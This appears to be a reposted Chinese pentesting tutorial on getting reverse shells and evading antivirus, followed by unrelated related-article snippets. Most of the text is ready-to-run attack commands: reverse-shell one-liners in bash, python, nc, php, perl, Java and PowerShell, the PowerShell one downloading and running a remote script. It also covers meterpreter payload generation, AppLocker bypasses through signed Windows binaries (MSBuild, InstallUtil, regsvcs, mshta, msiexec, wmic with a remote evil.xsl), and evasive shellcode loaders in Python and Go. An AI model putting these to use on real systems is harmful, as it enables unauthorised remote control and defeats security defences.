渗透测试中弹shell的多种方式及bypass

目录

  • 常见姿势
    • bash
    • python
    • nc
    • php
    • Java 脚本反弹
    • perl 脚本反弹
    • powershell
    • msfvenom 获取反弹一句话
  • Windows白加黑
    • MSBuild
    • Installutil.exe&csc.exe
    • regasm和regsvcs
    • mshta
    • Msiexec简介:
    • wmic
    • rundll32
  • payload分离免杀
    • shellcode loader
    • csc和InstallUtil
  • 偏僻语言
    • pyinstaller
    • go+upx
  • 写在文后


在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。

我们先来讲一下什么是正向连接和反向连接。

  • 正向连接:我们本机去连接目标机器,比如ssh和mstsc
  • 反向连接:目标机器去连接我们本机

那么为什么反向连接会比较常用呢

  1. 目标机器处在局域网内,我们正向连不上他
  2. 目标机器是动态ip
  3. 目标机器存在防火墙

然后说一下我的实验环境

虚拟机采用nat模式

攻击机:Kali Linux :172.16.1.130

受害机:Centos 7 :172.16.1.134

常见姿势

bash

bash也是最常见的一种方式

Kali监听

nc -lvvp 4444

centos运行

bash -i >& /dev/tcp/172.16.1.130/4444 0>&1

当然你还可以这样

exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done

这两个都是bash根据Linux万物皆文件的思想衍生过来的,具体更多bash的玩法你可以参考

https://xz.aliyun.com/t/2549

python

攻击机Kali还是监听

nc -lvvp 4444

centos执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

这个payload是反向连接并且只支持Linux,Windows可以参考离别歌师傅的 python windows正向连接后门

nc

如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell

攻击机监听

nc -lvvp 4444

目标机器执行

nc 172.16.1.130 4444 -t -e /bin/bash

这样会把目标机的/bin/bash反弹给攻击机

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

php

攻击机监听

nc -lvvp 4444

要求目标机器有php然后执行

php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个Linux和Windows两用的脚本

Java 脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

perl 脚本反弹

perl -e 'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

powershell

目标机器执行

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444

msfvenom 获取反弹一句话

msf支持多种反弹方式,比如exe ps php asp aspx甚至是ruby等,我们可以用msfvenom来生成payload,然后在msf中监听,执行之后就会反弹回来session

生成payload的方法参考生成msf常用payload,不再赘述

然后msf监听

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
exploit -j -z

那么讲到这里我们把一句话反弹shell的方式讲的差不多了,但是到这里我们又涉及到了一个免杀的问题。

我们首先需要知道的是目前的反病毒软件查杀,常见的有三种:

  1. 基于文件特征
  2. 基于文件行为
  3. 基于云查杀 实际也是基于特征数据库的查杀

到目前为止,我所知道的免杀姿势有以下几种

  1. Windows白名单 俗称白加黑 也就是用带有微软签名的软件来运行我们自己的shellcode
  2. payload分离免杀 比如shellcode loader
  3. 换一门偏僻的语言来自己写反弹shell

而接下来的几种只适用于Windows。

攻击机:Kali Linux :172.16.1.130

受害机:Win 7 :172.16.1.135

Windows白加黑

白加黑需要的payload可以使用一句话下载姿势总结 把payload下载到目标机器,这里不再赘述。

MSBuild

MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台

MSBuild可在未安装Visual Studio的环境中编译.net的工程文件

MSBuild可编译特定格式的xml文件

更多基本知识可参照以下链接:

https://msdn.microsoft.com/en-us/library/dd393574.aspx

意思就是msbuild可以编译执行csharp代码。

在这里我们需要知道的是msbuild的路径

加载32位的shellcode需要用32位的msbuild

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

加载64位的shellcode需要用64位的msbuild

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

我们这里用64位的shellcode和64位的win7来操作。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

生成shellcode之后我们需要用到一个三好学生师傅的https://github.com/3gstudent/msbuild-inline-task

我们用的是executes x64 shellcode.xml的模板,把里面45行之后的改为自己的shellcode

然后msf监听

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j

在目标机器上运行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"

然后会话上线,某数字卫士无反应,并且正常执行命令

img

更多关于msbuild的内容可以参考三好学生师傅的文章

Installutil.exe&csc.exe

Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。

具体参考:Windows Installer部署

通过msfvenom生成C#的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

下载InstallUtil-Shellcode.cs,将上面生成的shellcode复制到该cs文件中

https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260

csc编译InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

编译生成的文件后缀名无所谓exe dll txt都可以,但只能InstallUtil.exe来触发

InstallUtil.exe执行 反弹shell

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe

参考https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

regasm和regsvcs

regasm和regsvcs都可以用来反弹shell的,而且方式也一样

下载这个cs文件 ,然后替换你的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

使用sn.exe生成公钥和私钥,如果没有sn命令你可能需要安装vs

sn -k key.snk

编译dll,注意文件的路径

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs

用这两者上线

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll

或者这样

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll

上线成功。

mshta

mshta是在环境变量里的

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f raw > shellcode.bin
cat shellcode.bin |base64 ‐w 0

然后替换这个文件中的shellcode

https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

替换' ---------- DO NOT EDIT BELOW HERE -----------上面引号包起来的base64,可以将hta托管出来。

mshta.exe http://baidu.com/shellcode.hta

在cobalt strike中mshta也是一个很方便的上线功能。

Msiexec简介:

Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包(MSI),一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows 2003,Windows 7 等。

Msiexec已经被添加到环境变量了。

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f msi > shellcode.txt

目标机执行

msiexec.exe /q /i http://172.16.1.130/shellcode.txt

wmic

已经被添加到环境变量

poc

wmic os get /FORMAT:"http://example.com/evil.xsl"
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/><ms:script implements-prefix="user" language="JScript"><![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe");]]> </ms:script>
</stylesheet>

参考:利用wmic调用xsl文件的分析与利用
这里还有一个poc https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl

rundll32

Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。已经加入环境变量。

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");

也可以去执行msf生成的dll

rundll32.exe shell32.dll,Control_RunDLL c:\Users\Y4er\Desktop\1.dll

在这我们先简单介绍这几种,还有compiler.exe odbcconf psexec ftp.exe等等。在这里给出参考连接

micro8前辈 https://micro8.gitbook.io/micro8/contents-1#71-80-ke

payload分离免杀

在这里也只介绍两种分离免杀的姿势

shellcode loader

借助第三方加载器,将shellcode加载到内存中来执行。

https://github.com/clinicallyinane/shellcode_launcher

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c

靶机执行

shellcode_launcher.exe -i test.c

msf监听正常上线

csc和InstallUtil

不再赘述,参考上文白加黑

偏僻语言

实际上也不能说偏僻语言,原理是让杀软不识别文件的pe头。我们在这说两种

pyinstaller

py版的shellcode模板

#! /usr/bin/env python
# encoding:utf-8import ctypesdef execute():# Bind shellshellcode = bytearray("\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"..."\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56""\x13")ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
if __name__ == "__main__":execute()
msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o  1.py

使用pyinstaller打包

pyinstaller.py -F --console 1.py

和pyinstaller类似的还有py2exe,不再赘述。

go+upx

package mainimport "C"
import "unsafe"func main() {buf := ""buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"...省略...buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"// at your call site, you can send the shellcode directly to the C// function by converting it to a pointer of the correct type.shellcode := []byte(buf)C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}

如果正常编译体积会很大,建议使用go build -ldflags="-s -w"参数来编译生成exe,你也可以go build -ldflags="-H windowsgui -s -w"去掉命令窗口

编译出来900多kb,在使用upx压缩一下会降低到200kb左右,也能正常上线。

写在文后

本文所讲到的很多姿势实际上是用来bypass applocker,不过也能弹回来会话。

实战环境复杂,更多情况下请自行判断该使用什么姿势,实际上有时候你折腾半天不上线还不如直接一个bash反弹回来方便。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/1380030.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

信息安全技术 网络安全漏洞分类分级指南(GB/T 30279-2020 )

文章目录 前  言1 范围2 规范性引用文件3 术语和定义4 缩略语5 网络安全漏洞分类5.1 概述5.2 代码问题5.3 配置错误5.4 环境问题5.5 其他 6 网络安全漏洞分级6.1 概述6.2 网络安全漏洞分级指标6.3 网络安全漏洞分级方法 附 录 A&#xff08;规范性附录&#…

[渗透测试]Vulnstack 红队(二)

域环境初始化 DC IP&#xff1a;10.10.10.10 OS&#xff1a;Windows 2012(64) 应用&#xff1a;AD域WEB IP1&#xff1a;10.10.10.80 IP2&#xff1a;192.168.111.80 OS&#xff1a;Windows 2008(64) 应用&#xff1a;Weblogic 10.3.6 MSSQL 2008PC IP1&#xff1a;10.10.…

2021长安“战疫”网络安全卫士守护赛 misc部分writeup

2021长安“战疫”网络安全卫士守护赛 misc部分writeup 八卦迷宫朴实无华的取证西安加油ez_Encrypt 一百多名&#xff0c;我觉得还行欸&#xff0c;多亏了队里的crypto手 八卦迷宫 签到题&#xff0c;走迷宫&#xff0c;换成字就可以了 朴实无华的取证 老规矩先看pslist 进程…

腾讯云CVM服务器端口在安全组中打开!

腾讯云服务器CVM端口怎么开通&#xff1f;腾讯云服务器端口是通过配置安全组规则来开通的&#xff0c;腾讯云服务器网以开通80端口为例来详细说下腾讯云轻量应用服务器开启端口的方法&#xff0c;其他的端口的开通如8080、1433、443、3306、8888等端口也适用于此方法&#xff0…

window7 安装JDK17下载安装

1、下载JDK JDK下载官网&#xff1a;https://www.oracle.com/ 2、安装JDK 双击打开下载好的JDK进入安装界面 选择安装的位置 等待安装成功 安装成功 3、环境变量配置 右键此电脑选择属性选择高级系统设置&#xff08;展示是win7系统&#xff0c;win10也有仔细找找&#xff09;…

下载文件旁边附的MD5/SHA256有什么用途

下载软件等文件的时候&#xff0c;在下载地址旁边会附着一个乱码&#xff08;MD5、SHA256等加密后的字符串&#xff09;&#xff0c;之前知道是用来校验文件是否完整的&#xff0c;但一直没有真正用过。今天尝试了一下。非常简单。 例&#xff1a; https://www.python.org/down…

ngx.md5生成文件的md5值

ngx.md5()的参数必须是字符串&#xff0c;但要校验lua上传文件的MD5&#xff0c;怎么办&#xff1f; 方法: 先open 再read, 然后调用ngx.md5 local fio.open(filename,"rb") local s1f:read("*a") ngx.say(ngx.md5(s1)) f:close() 附&#xff1a; ngi…

MD5加密及Python源码魔改

MD5全称:message-digest algorithm 5 翻译过来就是:信息 摘要 算法 5 一、特点 1.长度固定: 不管多长的字符串,加密后长度都是一样长 作用:方便平时信息的统计和管理 详解&#xff1a;经过MD5加密生成一个固定长度为128bit的串。因为128位0和1的二进制串表达不友好&#xf…

【教程】初识云函数,实现无需服务器的项目上云!

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhang.cn] 你是否也在忧愁&#xff0c;想把自己的项目放在云上跑&#xff0c;但又不想花大价钱购买云服务器&#xff1f; 云函数介绍 云函数(Serverless Cloud Function&#xff0c;SCF)的简单理解就是&#xff1a;可以部署…

四、文件上传系列-计算文件MD5值

根据业务需要&#xff0c;在上传文件前我们要读取文件的md5值&#xff0c;将md5值传给后端用作秒传和断点续传文件的唯一标识。那么前端就需要使用js获取文件的md5值&#xff0c;对于普通小文件可以很轻松的读取文件md5值&#xff0c;而超大文件的md5值是如何快速的获取到的呢&…

大华智慧园区综合管理平台SQL注入漏洞

大华智慧园区综合管理平台SQL注入漏洞 一、 产品简介二、 漏洞概述三、 复现环境四、 漏洞复现PoC查询当前用户小龙POC检测: 五、 修复建议 免责声明&#xff1a;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传播、利用此文所提供的信息或者工具而造成的任何直接或者…

ApiPost的使用

1. 设计接口 请求参数的介绍 Query:相当于get请求&#xff0c;写的参数在地址栏中可以看到 Body: 相当于 post请求&#xff0c;请求参数不在地址栏中显示。 请求表单类型&#xff0c;用form-data json文件类型&#xff0c;用row 2. 预期响应期望 设置完每一项点一下生成响应…

数学建模(一)前继概念

课程推荐&#xff1a;数学建模老哥_哔哩哔哩_bilibili 目录 一、什么是数学建模&#xff1f; 二、数学建模的一般步骤 三、数学建模赛题类型 1.预测型 2. 评价类 3.机理分析类 4. 优化类 一、什么是数学建模&#xff1f; 数学建模是利用数学方法解决实际问题的一种实践。…

Chrome浏览器各版本对应的驱动

目录 1、Chrome浏览器各版本&#xff08;低版本&#xff09;对应的驱动2、其他版本&#xff08;高版本&#xff09;直接在对应的目录下下载即可3、下载地址 1、Chrome浏览器各版本&#xff08;低版本&#xff09;对应的驱动 chromedriver版本支持的Chrome版本v2.41v67-69v2.40v…

使用windows搭建WebDAV服务,并内网穿透公网访问【无公网IP】

文章目录 1. 安装IIS必要WebDav组件2. 客户端测试3. 使用cpolar内网穿透&#xff0c;将WebDav服务暴露在公网3.1 打开Web-UI管理界面3.2 创建隧道3.3 查看在线隧道列表3.4 浏览器访问测试 4. 安装Raidrive客户端4.1 连接WebDav服务器4.2 连接成功4.2 连接成功 1. Linux(centos8…

FFmpeg常见命令行(五):FFmpeg滤镜使用

前言 在Android音视频开发中&#xff0c;网上知识点过于零碎&#xff0c;自学起来难度非常大&#xff0c;不过音视频大牛Jhuster提出了《Android 音视频从入门到提高 - 任务列表》&#xff0c;结合我自己的工作学习经历&#xff0c;我准备写一个音视频系列blog。本文是音视频系…

Labview控制APx(Audio Precision)进行测试测量(五)

驱动程序 VIs如何处理配置设置中的单元 APx500 应用程序具有复杂的控件&#xff0c;具有以下功能: 数值和单位组合在一个控制中(例如&#xff0c;1.000 Vrms ) •值转换为 SI 格式(例如&#xff0c;1.000 mVrms 或 1.000 μVrms) •单位之间的转换发生在控制(例如&#xff0c;V…

警惕!部分iPhone 6S无法开机,Apple已推出了维修计划

苹果已经发布了一项新维修计划的通知&#xff0c;以解决导致某些iPhone 6S和6S Plus手机无法开机的问题。该程序页面说&#xff1a;“苹果公司确定某些iPhone 6s和iPhone 6s Plus设备可能由于组件故障而无法开机。”该程序俗称“ iPhone 6s和iPhone 6s Plus服务程序&#xff0c…

苹果待处理订单要多久_用苹果 iPhone 时操作失误被扣费,该如何申请退款?

不知道大家是否遇到过这种情况: 在 iPhone 上使用某些应用时,显示需要付费,自己本身是拒绝的,结果一不小心点错了,出现误操作导致出现了扣费的问题。 咳咳,肯定不止我一个人遇到过,这时候很多人就慌了,有的赶紧联系客服,有的就觉得几块钱的事,算了。 其实这种误操作导…

iphone手机计算机彩蛋,神奇彩蛋!iPhone 6可用容量从537MB秒变3.3GB

16GB版&#xff0c;也叫乞丐版iPhone用户有个共同的秘密&#xff1a;每隔一段时间就要想办法清理手机存储空间&#xff0c;删掉那些不常用的app。实在删不动的时候&#xff0c;难免后悔没多花几百块钱买64GB的。乐观派则会安慰自己&#xff0c;常常清理手机有助于养成“断舍离”…